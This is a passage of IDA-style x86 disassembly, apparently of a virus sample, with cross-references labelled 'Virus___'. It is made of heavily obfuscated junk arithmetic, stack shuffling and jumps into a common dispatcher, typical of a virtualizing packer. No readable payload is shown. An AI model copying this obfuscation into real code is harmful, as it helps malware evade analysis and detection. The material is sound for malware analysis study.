[esp], ebp xor ebp, [esp] pop esp push dword ptr [esp] pop eax push 4D92h mov [esp], ebx push 24EEh jmp loc_58183B ; --------------------------------------------------------------------------- loc_593444: ; CODE XREF: Virus___:0058E9C6j shr ecx, 2 jmp loc_589134 ; --------------------------------------------------------------------------- loc_59344C: ; CODE XREF: Virus___:0058F1A6j not ecx and ecx, 50705659h jmp loc_58191E ; --------------------------------------------------------------------------- loc_593459: ; CODE XREF: Virus___:00585EFDj xor ebp, 2B4553FAh push eax jmp loc_58ED84 ; --------------------------------------------------------------------------- loc_593465: ; CODE XREF: Virus___:005859FFj add ebx, eax pop eax mov esi, [esp] add esp, 4 jmp loc_58DA86 ; --------------------------------------------------------------------------- loc_593476: ; CODE XREF: Virus___:00582989j add esp, 4 jmp loc_58DAE2 ; --------------------------------------------------------------------------- loc_593481: ; CODE XREF: Virus___:0058B9ABj test cx, ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_59348A: ; CODE XREF: Virus___:005828B0j pop ebp sub eax, 0FFFFFFFFh jmp loc_594417 ; --------------------------------------------------------------------------- loc_593495: ; CODE XREF: Virus___:0058602Ej mov eax, 79401525h xor ecx, eax mov eax, [esp] push edi jmp loc_58435C ; --------------------------------------------------------------------------- loc_5934A5: ; CODE XREF: Virus___:0058482Ej mov edi, 2 add eax, edi pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] bt [esp], ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5934C4: ; CODE XREF: Virus___:0058A325j add eax, ebp pop ebp push ebp mov ebp, 1B8F7BC2h shl ebp, 6 xor ebp, ebx xor ebx, ebp jmp loc_5898F7 ; --------------------------------------------------------------------------- loc_5934D9: ; CODE XREF: Virus___:0058430Ej push ebx jmp loc_5924CC ; --------------------------------------------------------------------------- loc_5934DF: ; CODE XREF: Virus___:0059111Dj mov [esp], ebp mov ebp, 42975FE3h add eax, 1FCA21FDh add eax, ebp jmp loc_586D46 ; --------------------------------------------------------------------------- loc_5934F3: ; CODE XREF: Virus___:00585043j mov [esp], ecx push esp pop ecx push edi push eax push 627C74C7h pop eax dec eax xor eax, 627C74C2h mov edi, eax pop eax add ecx, edi pop edi push ebx push edx jmp loc_591FB1 ; --------------------------------------------------------------------------- loc_593513: ; CODE XREF: Virus___:0058416Ej not dl jmp loc_5864B1 ; --------------------------------------------------------------------------- loc_59351A: ; CODE XREF: Virus___:005855E8j mov eax, [esp] jmp loc_585D31 ; --------------------------------------------------------------------------- loc_593522: ; CODE XREF: Virus___:00590640j push eax mov ah, 5Ch mov dh, 5Bh sub dh, ah pop eax jmp loc_5919EA ; --------------------------------------------------------------------------- loc_59352F: ; CODE XREF: Virus___:0058EA4Cj push eax mov al, 0A0h mov dh, al pop eax dec dh or dh, 0E3h jmp loc_587AAF ; --------------------------------------------------------------------------- loc_59353F: ; CODE XREF: Virus___:00593D19j pop esp jmp loc_58539C ; --------------------------------------------------------------------------- loc_593545: ; CODE XREF: Virus___:00591FC3j push 3C21h mov [esp], eax push esp jmp loc_586893 ; --------------------------------------------------------------------------- loc_593553: ; CODE XREF: Virus___:0058742Aj pop ecx jmp loc_588941 ; --------------------------------------------------------------------------- loc_593559: ; CODE XREF: Virus___:00584236j sub ebp, 6E1E6863h jmp loc_588D98 ; --------------------------------------------------------------------------- loc_593564: ; CODE XREF: Virus___:0058D298j pop ecx dec eax jmp loc_58BC6B ; --------------------------------------------------------------------------- loc_59356B: ; CODE XREF: Virus___:00580466j push edi mov edi, 5BD86D76h jmp loc_58115E ; --------------------------------------------------------------------------- loc_593576: ; CODE XREF: Virus___:0058D8CAj add esp, 4 jmp loc_589827 ; --------------------------------------------------------------------------- loc_593581: ; CODE XREF: Virus___:0058959Aj mov ebp, [esp] push esi mov esi, esp push edi mov edi, 37052FEAh or edi, 390A2107h shl edi, 8 jmp loc_5883F7 ; --------------------------------------------------------------------------- loc_59359B: ; CODE XREF: Virus___:0058712Fj pop eax push esi mov esi, 4 add edi, esi pop esi xor edi, [esp] xor [esp], edi jmp loc_58E1A6 ; --------------------------------------------------------------------------- loc_5935B0: ; CODE XREF: Virus___:0058E2ACj add al, bl jmp loc_58D29D ; --------------------------------------------------------------------------- loc_5935B7: ; CODE XREF: Virus___:005827BDj sub eax, ebx pop ebx push edx mov edx, 947CE53Eh sub eax, edx jmp loc_5894F8 ; --------------------------------------------------------------------------- loc_5935C7: ; CODE XREF: Virus___:005915F6j not ebp inc ebp add ebp, 534A3D20h sub edi, 762B35C7h jmp loc_591BF3 ; --------------------------------------------------------------------------- loc_5935DB: ; CODE XREF: Virus___:00583297j mov [esp], eax mov ah, 0C2h mov bl, 0F6h xor bl, ah mov eax, [esp] jmp loc_58F7C8 ; --------------------------------------------------------------------------- loc_5935EC: ; CODE XREF: Virus___:0058D3B8j add esi, 4 xchg esi, [esp] jmp loc_58247A ; --------------------------------------------------------------------------- loc_5935FA: ; CODE XREF: Virus___:00580C26j add esp, 4 jmp loc_58831F ; --------------------------------------------------------------------------- loc_593602: ; CODE XREF: Virus___:00587F3Aj mov [esp], ecx mov ecx, esp jmp loc_57F46D ; --------------------------------------------------------------------------- loc_59360C: ; CODE XREF: Virus___:00584325j mov esp, [esp] jmp loc_585A2D ; --------------------------------------------------------------------------- loc_593614: ; CODE XREF: Virus___:00588FCBj mov esp, [esp] jmp loc_591B49 ; --------------------------------------------------------------------------- loc_59361C: ; CODE XREF: Virus___:00585A59j mov eax, [esp] add esp, 4 shr ebx, 6 xor ebx, 7BDFB477h sub esi, 604410B7h add esi, ebx add esi, 604410B7h mov ebx, [esp] push ecx mov ecx, esp jmp loc_58A49E ; --------------------------------------------------------------------------- loc_593644: ; CODE XREF: Virus___:00586E4Fj add edi, 4F617F6Eh mov ecx, [esp] add esp, 4 sub edi, 2 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_58CB5E ; --------------------------------------------------------------------------- loc_593661: ; CODE XREF: Virus___:005813F9j mov eax, [esp] add esp, 4 push 21B1h mov [esp], edi push ecx mov ecx, 2 mov edi, ecx pop ecx add ebp, edi pop edi push 420Eh jmp loc_589593 ; --------------------------------------------------------------------------- loc_593688: ; CODE XREF: Virus___:00584053j add dl, bh pop bx mov bl, dl mov edx, [esp] add esp, 4 jmp loc_59263B ; --------------------------------------------------------------------------- loc_59369C: ; CODE XREF: Virus___:0058624Fj push edx mov edx, 4 jmp loc_593DBB ; --------------------------------------------------------------------------- loc_5936A7: ; CODE XREF: Virus___:00583E09j push ebx push esp pop ebx push esi mov esi, 4 add ebx, esi pop esi add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_58254D ; --------------------------------------------------------------------------- loc_5936C1: ; CODE XREF: Virus___:0058A449j push esi mov esi, esp jmp loc_583870 ; --------------------------------------------------------------------------- loc_5936C9: ; CODE XREF: Virus___:0058D118j mov ecx, 426E485Ah jmp loc_5832A7 ; --------------------------------------------------------------------------- loc_5936D3: ; CODE XREF: Virus___:005929A2j mov [esp], eax push 249Ch mov [esp], ecx sub esp, 4 jmp loc_58E114 ; --------------------------------------------------------------------------- loc_5936E6: ; CODE XREF: Virus___:00589CDAj xor [esp], edi jmp loc_5826FE ; --------------------------------------------------------------------------- loc_5936EE: ; CODE XREF: Virus___:00580898j sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_58E536 ; --------------------------------------------------------------------------- loc_59370A: ; CODE XREF: Virus___:0058C856j add edi, 4 xchg edi, [esp] pop esp push esi mov esi, 4 jmp loc_57FD9A ; --------------------------------------------------------------------------- loc_59371F: ; CODE XREF: Virus___:0058CFB5j mov esp, [esp] add [esp], al pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_59372B: ; CODE XREF: Virus___:00589D81j push edi mov edi, 4 add edx, edi pop edi jmp loc_590622 ; --------------------------------------------------------------------------- loc_593739: ; CODE XREF: Virus___:005931ADj sub esp, 4 mov [esp], ebp jmp loc_5894D1 ; --------------------------------------------------------------------------- loc_593747: ; CODE XREF: Virus___:00592C92j pop esp push eax jmp loc_587CAC ; --------------------------------------------------------------------------- loc_59374E: ; CODE XREF: Virus___:0058A0E4j pop ebx sub ecx, edi pop edi xchg ecx, [esp] pop esp mov [esp], ebx push 3783h mov [esp], esp jmp loc_58CA4F ; --------------------------------------------------------------------------- loc_593766: ; CODE XREF: Virus___:005891F2j pop eax shl edx, 1 neg edx dec edx xor edx, 0C8B878BAh add eax, edx jmp loc_57FEED ; --------------------------------------------------------------------------- loc_593779: ; CODE XREF: Virus___:00587E41j mov ebx, 7FC621FFh shl ebx, 1 shr ebx, 1 push edx jmp loc_5868EC ; --------------------------------------------------------------------------- loc_593788: ; CODE XREF: Virus___:005939ACj pop dword ptr [esp] push 678Ch mov [esp], edi mov edi, 6550478Ah jmp loc_592A34 ; --------------------------------------------------------------------------- loc_59379D: ; CODE XREF: Virus___:0058907Cj push esi push 3A5A6E0Eh mov esi, [esp] add esp, 4 push 4B68h mov [esp], eax mov eax, 37CE7FF3h jmp loc_58B49E ; --------------------------------------------------------------------------- loc_5937BB: ; CODE XREF: Virus___:00584B47j push ebp push 612h mov [esp], esp add dword ptr [esp], 4 jmp loc_58B104 ; --------------------------------------------------------------------------- loc_5937D0: ; CODE XREF: Virus___:005816FCj add esp, 4 push ebx push 1AC56129h jmp loc_591D09 ; --------------------------------------------------------------------------- loc_5937DE: ; CODE XREF: Virus___:0058CD76j add ecx, ebp mov ebp, [esp] add esp, 4 push 7591h mov [esp], esi jmp loc_589F7F ; --------------------------------------------------------------------------- loc_5937F3: ; CODE XREF: Virus___:0058DE23j sub edi, ebp pop ebp and eax, edi pop edi push ecx push edi push 27512D57h pop edi inc edi xchg eax, edi jmp loc_58418F ; --------------------------------------------------------------------------- loc_593808: ; CODE XREF: Virus___:0057FF93j mov esp, [esp] push eax sub esp, 4 jmp loc_58C377 ; --------------------------------------------------------------------------- loc_593814: ; CODE XREF: Virus___:0058E2A3j push ebx mov ebx, 66FB4C44h or ebx, 5976065Dh jmp loc_585A94 ; --------------------------------------------------------------------------- loc_593825: ; CODE XREF: Virus___:00580D7Fj inc dl add dl, 8Eh mov bl, dl pop edx jmp loc_58A855 ; --------------------------------------------------------------------------- loc_593832: ; CODE XREF: Virus___:0058097Cj inc esi shr esi, 7 push edx push ebp mov ebp, 2BA13764h shr ebp, 2 shl ebp, 8 shr ebp, 2 xor ebp, 63A3019Ah push ebp jmp loc_580F54 ; --------------------------------------------------------------------------- loc_593852: ; CODE XREF: Virus___:0058D920j add edi, 3A581CE7h shl edi, 8 add edi, 9FC437A5h add esi, 0EE030D1h sub esi, edi sub esi, 0EE030D1h jmp loc_592733 ; --------------------------------------------------------------------------- loc_593874: ; CODE XREF: Virus___:0057FF1Ej pop ebx push ecx mov ecx, 1CEB0A52h push edi mov edi, 4ADCCCF3h sub ecx, edi pop edi add edx, ecx jmp loc_592D19 ; --------------------------------------------------------------------------- loc_59388B: ; CODE XREF: Virus___:0058C1F1j mov bl, 0EAh jmp loc_586728 ; --------------------------------------------------------------------------- loc_593892: ; CODE XREF: Virus___:00582BABj neg eax sub eax, 108E6972h push ebx mov ebx, 907CF589h jmp loc_59126F ; --------------------------------------------------------------------------- loc_5938A4: ; CODE XREF: Virus___:00580EA8j sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], edx push ecx push ebx mov ebx, 3F5B72D3h mov ecx, ebx pop ebx and ecx, 4F055D6Ah shl ecx, 8 push eax mov eax, 25EF67DEh xor eax, 647C01FDh sub eax, 11E44D28h push edx jmp loc_58C86E ; --------------------------------------------------------------------------- loc_5938DF: ; CODE XREF: Virus___:00584DCAj mov eax, 3DDF2CA0h jmp loc_5920D3 ; --------------------------------------------------------------------------- loc_5938E9: ; CODE XREF: Virus___:0058776Aj mov [esp], edi mov edi, 3EE32345h shr edi, 2 sub edi, 0E8B76556h sub eax, edi pop edi jmp loc_58877A ; --------------------------------------------------------------------------- loc_593902: ; CODE XREF: Virus___:00587D50j pop esi and ebx, ebp jmp loc_58778F ; --------------------------------------------------------------------------- loc_59390A: ; CODE XREF: Virus___:005805EAj sub edx, eax push 691Ah mov [esp], ebp mov ebp, 41ED2B36h add edx, ebp pop ebp push dword ptr [esp] pop eax add esp, 4 jmp loc_58C241 ; --------------------------------------------------------------------------- loc_59392B: ; CODE XREF: Virus___:00585ED6j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] xor [esp], ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_593941: ; CODE XREF: Virus___:0058A006j push ebx mov ebx, 40267977h mov esi, ebx jmp loc_590706 ; --------------------------------------------------------------------------- loc_59394E: ; CODE XREF: Virus___:00590F10j xor ebx, 0E7141F03h add edi, ebx pop ebx mov edx, edi pop edi and ebx, edx pop edx push esi mov esi, 298AFFFCh sub ebx, esi pop esi add ebp, ebx push dword ptr [esp] pop ebx add esp, 4 push edx sub esp, 4 jmp loc_58E3E3 ; --------------------------------------------------------------------------- loc_59397B: ; CODE XREF: Virus___:005909A9j add esi, edx push dword ptr [esp] pop edx push ebx jmp loc_589D59 ; --------------------------------------------------------------------------- loc_593987: ; CODE XREF: Virus___:0058B2D2j pop esi add ebx, 7C2649BEh jmp loc_587B58 ; --------------------------------------------------------------------------- loc_593993: ; CODE XREF: Virus___:00586777j mov ch, 26h jmp loc_58D5A2 ; --------------------------------------------------------------------------- loc_59399A: ; CODE XREF: Virus___:0058DC64j mov ebp, edi jmp loc_587F3F ; --------------------------------------------------------------------------- loc_5939A1: ; CODE XREF: Virus___:0058580Cj push dword ptr [esp] pop ecx push edx push 317Eh push esp jmp loc_593788 ; --------------------------------------------------------------------------- loc_5939B1: ; CODE XREF: Virus___:005855A5j push edx mov edx, 3275108h shl edx, 7 jmp loc_585959 ; --------------------------------------------------------------------------- loc_5939BF: ; CODE XREF: Virus___:00588EADj add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_5906D9 ; --------------------------------------------------------------------------- loc_5939D2: ; CODE XREF: Virus___:0058E2BFj sub esp, 4 mov [esp], ebp jmp loc_58F43A ; --------------------------------------------------------------------------- loc_5939DD: ; CODE XREF: Virus___:00584C08j not dword ptr [esp] pop edx push 6DE5h mov [esp], ebx jmp loc_593D1E ; --------------------------------------------------------------------------- loc_5939EE: ; CODE XREF: Virus___:0057F8F5j add esp, 4 push esi mov esi, 2 jmp loc_58955D ; --------------------------------------------------------------------------- loc_5939FC: ; CODE XREF: Virus___:005886D1j mov ebp, 68F24BA6h xor ecx, ebp pop ebp xor ecx, 3E982564h dec ecx shl ecx, 2 xor ecx, 722D6FECh jmp loc_5826F3 ; --------------------------------------------------------------------------- loc_593A19: ; CODE XREF: Virus___:0058683Bj mov [esp], edi pop eax pop edi sub esp, 4 mov [esp], edi mov edi, 5DA776FFh xor edi, 1EB97679h add edi, 0ACAEAA7Fh add eax, edi pop edi jmp loc_584896 ; --------------------------------------------------------------------------- loc_593A3D: ; CODE XREF: Virus___:00580949j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push eax jmp loc_58C2D5 ; --------------------------------------------------------------------------- loc_593A55: ; CODE XREF: Virus___:00586CC6j add esp, 4 jmp loc_590E8E ; --------------------------------------------------------------------------- loc_593A60: ; CODE XREF: Virus___:0058D8D8j not ebx neg ebx jmp loc_58B7FD ; --------------------------------------------------------------------------- loc_593A69: ; CODE XREF: Virus___:0058ECA0j xor ebp, 6C6D4B40h push edi mov edi, 10DE434Fh and edi, 44A060A2h shl edi, 7 dec edi jmp loc_584330 ; --------------------------------------------------------------------------- loc_593A84: ; CODE XREF: Virus___:005858A2j mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 3156h mov [esp], esi push 29A5h jmp loc_591908 ; --------------------------------------------------------------------------- loc_593AA2: ; CODE XREF: Virus___:005921B1j push 217Bh mov [esp], ecx push ebx push 21DE4BFCh mov ebx, [esp] add esp, 4 jmp loc_58B74B ; --------------------------------------------------------------------------- loc_593ABB: ; CODE XREF: Virus___:00585103j push eax mov eax, 7CD645BEh add eax, 8329BA46h sub ebp, eax jmp loc_58044A ; --------------------------------------------------------------------------- loc_593ACD: ; CODE XREF: Virus___:0058D45Fj add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_588F42 ; --------------------------------------------------------------------------- loc_593AE7: ; CODE XREF: Virus___:00584770j pop ecx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop edx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 shr bh, 2 shr bh, 3 shl bh, 2 shr bh, 5 jmp loc_580D20 ; --------------------------------------------------------------------------- loc_593B19: ; CODE XREF: Virus___:005826EEj add esi, 4C31236Ch xor esi, 2D563E5Eh sub eax, esi pop esi push 5112h mov [esp], edx jmp loc_58F6AE ; --------------------------------------------------------------------------- loc_593B35: ; CODE XREF: Virus___:005872C5j pop edi shl edx, 6 add edx, 0F7F9EC44h add ecx, edx mov edx, [esp] add esp, 4 push esi mov esi, 4 jmp loc_57F5DC ; --------------------------------------------------------------------------- loc_593B52: ; CODE XREF: Virus___:00582630j push 170Fh mov [esp], ebp pop ecx jmp loc_58E180 ; --------------------------------------------------------------------------- loc_593B60: ; CODE XREF: Virus___:0059300Ej push esi mov esi, 36EC33E1h dec esi add esi, 561539A2h shl esi, 8 add esi, 10BD9AF4h add edx, esi pop esi dec edx inc edx push edi push ebx mov ebx, 75565A7Eh dec ebx add ebx, 0C38920CCh mov edi, ebx pop ebx inc edi jmp loc_5872BD ; --------------------------------------------------------------------------- loc_593B92: ; CODE XREF: Virus___:0058BA5Dj push ebp jmp loc_582E0B ; --------------------------------------------------------------------------- lodsd jmp loc_59059D ; --------------------------------------------------------------------------- loc_593B9E: ; CODE XREF: Virus___:005866FAj or ebp, ecx pop ecx or ebp, 74C3337Ah xor ebp, 5A632C25h shl ebp, 2 jmp loc_58628E ; --------------------------------------------------------------------------- loc_593BB5: ; CODE XREF: Virus___:00580E7Cj xor eax, [esp] mov esp, [esp] rol dword ptr [esp], cl pushf jmp loc_58BE50 ; --------------------------------------------------------------------------- loc_593BC4: ; CODE XREF: Virus___:0058389Bj mov ebp, 37844D23h or ebp, 497D10ABh shr ebp, 8 jmp loc_58B223 ; --------------------------------------------------------------------------- loc_593BD7: ; CODE XREF: Virus___:0058B956j push ebx mov ebx, 211F13C5h xor eax, ebx mov ebx, [esp] push 8FAh jmp loc_58DACC ; --------------------------------------------------------------------------- loc_593BEC: ; CODE XREF: Virus___:0058A3B3j shl ecx, 8 jmp loc_580CF2 ; --------------------------------------------------------------------------- loc_593BF4: ; CODE XREF: Virus___:00583948j pop eax jmp loc_589173 ; --------------------------------------------------------------------------- loc_593BFA: ; CODE XREF: Virus___:00593E69j mov eax, 43A5474Fh not eax add eax, 43A54754h add ebx, eax pop eax add ebx, 4 xchg ebx, [esp] jmp loc_5800C9 ; --------------------------------------------------------------------------- loc_593C14: ; CODE XREF: Virus___:00588098j shr eax, 0Eh xor eax, ecx xor eax, edx xor edx, eax xor eax, edx push 2FEBh mov [esp], ebp mov ebp, esp sub esp, 4 jmp loc_58912C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_593C42: ; CODE XREF: Virus___:00581836j push ebp jmp loc_58940F ; --------------------------------------------------------------------------- loc_593C48: ; CODE XREF: Virus___:005845B8j push esp jmp loc_582871 ; --------------------------------------------------------------------------- loc_593C4E: ; CODE XREF: Virus___:00589EBDj xchg eax, edi not edi xchg eax, edi inc eax sub esp, 4 mov [esp], esi mov esi, 0D946C1B2h add eax, esi mov esi, [esp] add esp, 4 mov ebp, eax jmp loc_580D84 ; --------------------------------------------------------------------------- loc_593C70: ; CODE XREF: Virus___:005932ABj add ecx, 0F60FF93Eh mov edx, ecx pop ecx jmp loc_5900EB ; --------------------------------------------------------------------------- loc_593C7E: ; CODE XREF: Virus___:0058A48Bj mov edx, 1DD26267h push ebp mov ebp, 4F2B5C66h xor ebp, 237328D3h or ebp, 509563D5h jmp loc_5842AA ; --------------------------------------------------------------------------- loc_593C9A: ; CODE XREF: Virus___:0058B086j sub si, 556h push dx mov dx, 4AE8h sub si, dx pop dx push small 78DEh jmp loc_587E1B ; --------------------------------------------------------------------------- loc_593CB3: ; CODE XREF: Virus___:0058D59Dj add esp, 4 pop edx jmp loc_57F37C ; --------------------------------------------------------------------------- loc_593CBC: ; CODE XREF: Virus___:00585E59j add eax, 4 xchg eax, [esp] pop esp inc dword ptr [esp] pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_593CCE: ; CODE XREF: Virus___:00594456j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_58CFB1 ; --------------------------------------------------------------------------- loc_593CE5: ; CODE XREF: Virus___:0058118Dj push edx mov dl, 39h xor dl, 0A7h add dl, 54h jmp loc_5853E7 ; --------------------------------------------------------------------------- loc_593CF3: ; CODE XREF: Virus___:00587233j inc ebx xchg ebx, esi sub esp, 4 mov [esp], esi not dword ptr [esp] jmp loc_581A52 ; --------------------------------------------------------------------------- loc_593D07: ; CODE XREF: Virus___:00582450j mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_59353F ; --------------------------------------------------------------------------- loc_593D1E: ; CODE XREF: Virus___:005939E9j push esp pop ebx add ebx, 4 sub ebx, 4 jmp loc_58B7E6 ; --------------------------------------------------------------------------- loc_593D31: ; CODE XREF: Virus___:0058A241j sub eax, ecx pop ecx or eax, 1A79090Eh push ecx mov ecx, 40FF09E5h add ecx, 0DDC4FA37h sub eax, ecx mov ecx, [esp] add esp, 4 add eax, 0E044D8A1h jmp loc_590C31 ; --------------------------------------------------------------------------- loc_593D5A: ; CODE XREF: Virus___:0058B62Bj sub [esp], edx jmp loc_58571A ; --------------------------------------------------------------------------- loc_593D62: ; CODE XREF: Virus___:00591CDFj add eax, 64103156h sub eax, 0E9D70295h jmp loc_5919A6 ; --------------------------------------------------------------------------- loc_593D71: ; CODE XREF: Virus___:005806FEj mov [esp], ebp mov ebp, esp push 0D19h mov [esp], edx mov edx, 4 add ebp, edx pop edx push 5DDDh mov [esp], edi mov edi, 3E3A0E4Ah neg edi dec edi and edi, 5BE0634h jmp loc_580351 ; --------------------------------------------------------------------------- loc_593DA1: ; CODE XREF: Virus___:00591391j mov [esp], ebx mov ebx, esp add ebx, 4 push ebp jmp loc_58517F ; --------------------------------------------------------------------------- loc_593DB2: ; CODE XREF: Virus___:005846D8j pop ecx pop dword ptr [esp] jmp loc_58A319 ; --------------------------------------------------------------------------- loc_593DBB: ; CODE XREF: Virus___:005936A2j mov esi, edx mov edx, [esp] add esp, 4 add ebp, esi pop esi jmp loc_58931B ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_593DD3: ; CODE XREF: Virus___:00585802j mov edx, 4 add ebp, edx pop edx push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 jmp loc_590989 ; --------------------------------------------------------------------------- loc_593DEB: ; CODE XREF: Virus___:005904D8j pop ecx pop edx push dword ptr [esp] mov ecx, [esp] jmp loc_5820E5 ; --------------------------------------------------------------------------- loc_593DF8: ; CODE XREF: Virus___:0059311Ej add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx push ebx mov bh, 4Dh jmp loc_592746 ; --------------------------------------------------------------------------- loc_593E13: ; CODE XREF: Virus___:0058A718j xor ecx, [esp] mov esp, [esp] or [esp], eax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_593E22: ; CODE XREF: Virus___:00589360j pop edi jmp loc_589E30 ; --------------------------------------------------------------------------- loc_593E28: ; CODE XREF: Virus___:00591EBCj mov [esp], ecx jmp loc_57FA5F ; --------------------------------------------------------------------------- loc_593E30: ; CODE XREF: Virus___:0058F1B7j mov dl, 50h sub dl, 8Fh push ebx mov bh, 9Ch add bh, 18h jmp loc_58011F ; --------------------------------------------------------------------------- loc_593E40: ; CODE XREF: Virus___:0057F896j add eax, 70D0271Bh jmp loc_590AF9 ; --------------------------------------------------------------------------- loc_593E4A: ; CODE XREF: Virus___:005882C6j mov al, [esp] add esp, 4 push edx push ecx jmp loc_58F31B ; --------------------------------------------------------------------------- loc_593E57: ; CODE XREF: Virus___:0058C0AFj add edx, 25DD063Bh jmp loc_591347 ; --------------------------------------------------------------------------- loc_593E62: ; CODE XREF: Virus___:005941FFj mov ebp, [esp] push ebx mov ebx, esp push eax jmp loc_593BFA ; --------------------------------------------------------------------------- loc_593E6E: ; CODE XREF: Virus___:005879E7j push 1DECh jmp loc_591E63 ; --------------------------------------------------------------------------- loc_593E78: ; CODE XREF: Virus___:0059061Dj push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_586792 ; --------------------------------------------------------------------------- loc_593E89: ; CODE XREF: Virus___:00581112j add edx, ebx pop ebx push eax jmp loc_58287D ; --------------------------------------------------------------------------- loc_593E92: ; CODE XREF: Virus___:00585330j inc ebp xor ebp, 0D3A37DFDh jmp loc_58E54B ; --------------------------------------------------------------------------- loc_593E9E: ; CODE XREF: Virus___:005917FBj push edx jmp loc_58056B ; --------------------------------------------------------------------------- loc_593EA4: ; CODE XREF: Virus___:00587988j mov ch, 0B4h add ch, 62h push bx mov bl, ch not bl mov ch, bl pop bx xor ch, 4Dh or ch, 4 add ch, 7 sub ah, ch mov ecx, [esp] add esp, 4 mov dl, ah pop eax push edx mov dh, 0BAh sub bl, 23h sub bl, 49h jmp loc_5885B8 ; --------------------------------------------------------------------------- loc_593ED8: ; CODE XREF: Virus___:0058C742j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_593EDD: ; CODE XREF: Virus___:0058E1BFj xchg ecx, edx jmp loc_5889C4 ; --------------------------------------------------------------------------- loc_593EE4: ; CODE XREF: Virus___:005888EDj shl ecx, 3 push esi mov esi, 66046278h inc esi and esi, 4110EA5h not esi jmp loc_594030 ; --------------------------------------------------------------------------- loc_593EFB: ; CODE XREF: Virus___:00583F70j and edi, ebx pop ebx add edi, 0FFFFFFFFh push ecx push ebp mov ebp, 1B2D36C1h add ebp, 5A6F7ABAh add ebp, 0FFFFFFFFh push ebx mov ebx, 7EA74B91h neg ebx dec ebx inc ebx jmp loc_581255 ; --------------------------------------------------------------------------- push 740Dh mov [esp], eax jmp loc_57F6E1 ; --------------------------------------------------------------------------- loc_593F2D: ; CODE XREF: Virus___:0058C271j pop eax sub bl, 12h add bl, dl add bl, 12h push dword ptr [esp] mov edx, [esp] push ebx jmp loc_58A8AF ; --------------------------------------------------------------------------- loc_593F42: ; CODE XREF: Virus___:0058148Fj sub ebp, esi jmp loc_58187E ; --------------------------------------------------------------------------- loc_593F49: ; CODE XREF: Virus___:0058721Cj add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_580E93 ; --------------------------------------------------------------------------- loc_593F5D: ; CODE XREF: Virus___:00588DB5j push edi push 17333B29h pop edi sub edi, 0FFFFFFFFh neg edi inc edi jmp loc_581689 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_593F7A: ; CODE XREF: Virus___:005902F4j mov [esp], eax jmp loc_5921FB ; --------------------------------------------------------------------------- loc_593F82: ; CODE XREF: Virus___:0058F36Fj mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_590118 ; --------------------------------------------------------------------------- loc_593F92: ; CODE XREF: Virus___:0058F291j pop ecx jmp loc_58487C ; --------------------------------------------------------------------------- loc_593F98: ; CODE XREF: Virus___:005891EBj pop edx jmp loc_587D10 ; --------------------------------------------------------------------------- loc_593F9E: ; CODE XREF: Virus___:00592EE3j not edi xor edi, 0BFE3D0D9h and esi, edi mov edi, [esp] jmp loc_59017F ; --------------------------------------------------------------------------- loc_593FB0: ; CODE XREF: Virus___:00589510j pop eax push 0A83h mov [esp], ebp push eax jmp loc_582388 ; --------------------------------------------------------------------------- loc_593FBF: ; CODE XREF: Virus___:0058D6A3j push edx jmp loc_5835C8 ; --------------------------------------------------------------------------- loc_593FC5: ; CODE XREF: Virus___:00588696j shl edx, 8 jmp loc_586A95 ; --------------------------------------------------------------------------- loc_593FCD: ; CODE XREF: Virus___:00580FF3j xor al, ch pop ecx push cx mov cl, 0ECh xor al, cl jmp loc_583CEC ; --------------------------------------------------------------------------- loc_593FDB: ; CODE XREF: Virus___:00582C4Dj add esi, ebp pop ebp push edi mov edi, 1D704D90h push esi mov esi, 667E683Ah or esi, 633B0A1Dh shl esi, 6 push ebx mov ebx, 549B7AE9h push edi mov edi, 1C905EE0h shl edi, 4 shl edi, 6 and edi, 488163E7h jmp loc_585335 ; --------------------------------------------------------------------------- loc_594010: ; CODE XREF: Virus___:0058DDD2j add esp, 4 add dword ptr [esp+4], 441C5B8Dh add [esp+4], esi sub dword ptr [esp+4], 441C5B8Dh push edi jmp loc_592BBD ; --------------------------------------------------------------------------- loc_594030: ; CODE XREF: Virus___:00593EF6j xor esi, 59A2101Bh sub esi, 64505B65h add esi, 0FE06BF3Eh add ecx, esi pop esi or ecx, 27DD3DDDh dec ecx push 5665h jmp loc_59212C ; --------------------------------------------------------------------------- loc_594056: ; CODE XREF: Virus___:005862ABj sub al, 0D0h jmp loc_58BED1 ; --------------------------------------------------------------------------- loc_59405D: ; CODE XREF: Virus___:0058C4F3j push edi mov edi, esp jmp loc_58E102 ; --------------------------------------------------------------------------- loc_594065: ; CODE XREF: Virus___:0058169Ej mov [esp], ebp pop eax jmp loc_594480 ; --------------------------------------------------------------------------- lodsb push 592Dh mov 